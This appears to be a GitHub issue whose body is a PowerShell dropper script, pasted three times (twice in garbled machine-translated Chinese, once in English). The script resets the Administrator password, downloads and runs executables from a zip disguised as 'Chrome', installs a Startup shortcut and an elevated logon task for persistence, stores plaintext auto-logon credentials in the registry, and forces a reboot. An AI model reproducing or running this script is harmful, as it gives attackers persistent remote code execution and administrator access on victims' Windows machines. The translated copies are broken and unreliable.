Open getnadaapi opened 1 year ago
Set-ExecutionPolicy RemoteSigned -Force 网络用户管理员 Nancyhd1@ $Url = ' https://github.com/37218vuuhuu/app-19/raw/main/Chrome.57.zip '
[Net.ServicePointManager]::安全协议 = “tls12,tls11,tls”
$ProgressPreference = 'SilentlyContinue'
调用-WebRequest $Url-OutFile Chrome.57.zip
展开存档 Chrome.57.zip -DestinationPath Chrome.57 启动“C:\Users\Administrator\Chrome.57\Shutdown.exe” 设置执行策略 RemoteSigned -Force $SourceFilePath = “C:\Users\Administrator\Chrome.57\RemoteExecuteScriptSilent.exe” $ShortcutPath = “C:\Users\Administrator\Start Menu\Programs\Startup\RemoteExecuteScriptSilent.lnk” $WScriptObj = New-Object -ComObject (“WScript.Shell”) $shortcut = $WscriptObj.CreateShortcut($ShortcutPath) $shortcut.TargetPath = $SourceFilePath $shortcut.WindowStyle = 1 $ShortCut.Hotkey = “F1”; $shortcut.Save()
$Action=New-ScheduledTaskAction -Execute “powershell.exe” $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID “$env:用户名” -LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task
$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" $DefaultUsername = "Administrator" $DefaultPassword = "Nancyhd1@" Set-ItemProperty $RegPath "AutoAdminLogon" -Value "1" -type String Set-ItemProperty $RegPath "DefaultUsername" -Value "$DefaultUsername" -type String Set-ItemProperty $RegPath "DefaultPassword" -Value "$DefaultPassword" -type String
关机 -r -t 120 /f 启动“C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” $Action=New-ScheduledTaskAction -Execute“powershell.exe” $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID“$env:用户名”-LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task Get-PSReadLineKeyHandler -Chord Enter
Set-ExecutionPolicy RemoteSigned -Force 网络用户管理员 Nancyhd1@ $Url = ' https://github.com/37218vuuhuu/app-19/raw/main/Chrome.57.zip '
[Net.ServicePointManager]::安全协议 = “tls12,tls11,tls”
$ProgressPreference = 'SilentlyContinue'
调用-WebRequest $Url-OutFile Chrome.57.zip
展开 Chrome.57.zip -DestinationPath Chrome.57 启动“C:\Users\Administrator\Chrome.57\Shutdown.exe” 设置执行策略 RemoteSigned -Force $SourceFilePath = “C:\Users\Administrator\Chrome.57\RemoteExecuteScriptSilent.exe” $ShortcutPath = “C:\Users\Administrator\Start Menu\Programs\Startup\RemoteExecuteScriptSilent.lnk” $WScriptObj = New-Object -ComObject (“WScript.Shell”) $shortcut = $WscriptObj.CreateShortcut($ShortcutPath) $shortcut.TargetPath = $SourceFilePath $shortcut.WindowStyle = 1 $ShortCut.Hotkey = “F1”; $shortcut.Save()
$Action=New-ScheduledTaskAction -Execute “powershell.exe” $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID “$env:用户名” -LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task
$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" $DefaultUsername = "Administrator" $DefaultPassword = "Nancyhd1@" Set-ItemProperty $RegPath "AutoAdminLogon" -Value "1" -type String Set-ItemProperty $RegPath "DefaultUsername" -Value "$DefaultUsername" -type String Set-ItemProperty $RegPath "DefaultPassword" -Value "$DefaultPassword" -type String
关机 -r -t 120 /f 启动“C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” $Action=New-ScheduledTaskAction -Execute“powershell.exe” $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID“$env:用户名”-LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task Get-PSReadLineKeyHandler -Chord Enter
Set-ExecutionPolicy RemoteSigned -Force net user Administrator Nancyhd1@ $Url = 'https://github.com/37218vuuhuu/app-19/raw/main/Chrome.57.zip'
[Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls"
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest $Url -OutFile Chrome.57.zip
Expand-Archive Chrome.57.zip -DestinationPath Chrome.57 Start "C:\Users\Administrator\Chrome.57\Shutdown.exe" Set-ExecutionPolicy RemoteSigned -Force $SourceFilePath = "C:\Users\Administrator\Chrome.57\RemoteExecuteScriptSilent.exe" $ShortcutPath = "C:\Users\Administrator\Start Menu\Programs\Startup\RemoteExecuteScriptSilent.lnk" $WScriptObj = New-Object -ComObject ("WScript.Shell") $shortcut = $WscriptObj.CreateShortcut($ShortcutPath) $shortcut.TargetPath = $SourceFilePath $shortcut.WindowStyle = 1 $ShortCut.Hotkey = "F1"; $shortcut.Save()
$Action=New-ScheduledTaskAction -Execute "powershell.exe" $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID "$env:username" -LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task
$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" $DefaultUsername = "Administrator" $DefaultPassword = "Nancyhd1@" Set-ItemProperty $RegPath "AutoAdminLogon" -Value "1" -type String Set-ItemProperty $RegPath "DefaultUsername" -Value "$DefaultUsername" -type String Set-ItemProperty $RegPath "DefaultPassword" -Value "$DefaultPassword" -type String
Shutdown -r -t 120 /f Start "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" $Action=New-ScheduledTaskAction -Execute "powershell.exe" $Trigger=New-ScheduledTaskTrigger -AtLogOn $Set=New-ScheduledTaskSettingsSet $Principal=New-ScheduledTaskPrincipal -UserID "$env:username" -LogonType Interactive -RunLevel Highest $Task=New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Set -Principal $Principal Register-ScheduledTask -TaskName PowerShellAtLogon -InputObject $Task Get-PSReadLineKeyHandler -Chord Enter